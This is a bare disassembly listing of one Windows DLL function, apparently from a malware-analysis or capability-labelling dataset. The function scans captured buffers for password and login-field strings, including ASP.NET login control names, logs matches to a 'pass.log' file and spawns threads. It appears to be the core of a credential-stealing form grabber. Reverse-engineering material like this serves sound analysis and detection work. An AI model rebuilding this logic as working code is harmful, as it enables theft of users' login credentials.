Function at 0x10018fb0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
mov ebx, dword [ebp + 0xc]
lea eax, [ebx + 1]
test eax, eax
je 0x100192c6
push esi
lea esi, [eax + 0x13]
push edi
and esi, 0xfffffff0
push esi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x100192c4
push esi
push 0
push edi
call sub.MSVCRT.dll_memset
mov esi, dword [ebp + 8]
add esp, 0xc
test esi, esi
je 0x100192a2
test ebx, ebx
je 0x100192a2
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x100192a2
push ebx
push esi
push edi
call sub.MSVCRT.dll_memcpy
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
push 0x10049d90
push edi
call esi
add esp, 0x14
test eax, eax
je 0x100190e2
push str.password
push edi
call esi
add esp, 8
test eax, eax
je 0x100190e2
xor eax, eax
nop
mov cl, byte [eax + 0x10059d68]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x10019050
mov esi, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0x1005ca80
call esi
push 0x1005ca80
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
push 0x1005ca80
call esi
mov eax, 0x1005ca80
call fcn.10003080
lea esi, [ebp - 0x104]
call fcn.10007980
mov eax, esi
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x100190a0
mov ecx, dword [str.pass.log]
mov edx, dword [0x10049cd0]
mov dword [eax], ecx
mov cl, byte [0x10049cd4]
mov dword [eax + 4], edx
mov edx, dword [ebp + 8]
push ebx
mov byte [eax + 8], cl
push edx
lea eax, [ebp - 0x104]
call fcn.10007350
push 0
push 0
push 0
push 0x10021460
jmp 0x1001926f
push str.name_
push edi
call esi
add esp, 8
test eax, eax
je 0x100191ba
push str.pass_
push edi
call esi
add esp, 8
test eax, eax
je 0x100191ba
xor eax, eax
lea ebx, [ebx]
mov cl, byte [eax + 0x10059d68]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x10019110
mov esi, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0x1005ce90
call esi
push 0x1005ce90
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
push 0x1005ce90
call esi
mov eax, 0x1005ce90
call fcn.10003080
lea esi, [ebp - 0x104]
call fcn.10007980
mov eax, esi
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10019160
mov edx, dword [str.pass.log]
mov ecx, dword [0x10049cd0]
mov dword [eax], edx
mov dl, byte [0x10049cd4]
mov dword [eax + 4], ecx
mov byte [eax + 8], dl
mov eax, dword [ebp + 8]
push ebx
push eax
lea eax, [ebp - 0x104]
call fcn.10007350
push 0
push 0
push 0
push 0x100225c0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x100192a2
lea ecx, [ebp + 8]
push ecx
jmp 0x10019283
push str.ctl00_24MainMenu_24Login1_24UserName
push edi
call esi
add esp, 8
test eax, eax
je 0x100192a2
push str.ctl00_24MainMenu_24Login1_24Password
push edi
call esi
add esp, 8
test eax, eax
je 0x100192a2
xor eax, eax
mov cl, byte [eax + 0x10059d68]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x100191e2
mov esi, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0x1005d098
call esi
push 0x1005d098
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
push 0x1005d098
call esi
mov eax, 0x1005d098
call fcn.10003080
lea esi, [ebp - 0x104]
call fcn.10007980
mov eax, esi
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10019232
mov ecx, dword [str.pass.log]
mov edx, dword [0x10049cd0]
mov dword [eax], ecx
mov cl, byte [0x10049cd4]
mov dword [eax + 4], edx
mov edx, dword [ebp + 8]
push ebx
mov byte [eax + 8], cl
push edx
lea eax, [ebp - 0x104]
call fcn.10007350
push 0
push 0
push 0
push 0x10023ce0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x100192a2
lea eax, [ebp + 8]
push eax
push esi
mov dword [ebp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x100192a2
test byte [ebp + 8], 2
jne 0x100192a2
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push edi
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x100192c4
push edi
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8